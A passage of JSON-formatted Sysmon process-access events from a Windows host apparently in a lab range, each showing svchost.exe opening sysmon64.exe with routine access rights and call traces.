ystem32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3110,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.556\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.556","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3111,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.556\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.556","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3112,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.556\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.556","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3113,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.556\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.556","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3114,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.556\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.556","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3115,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.556\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.556","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3116,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.556\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.556","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3117,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.556\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.556","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 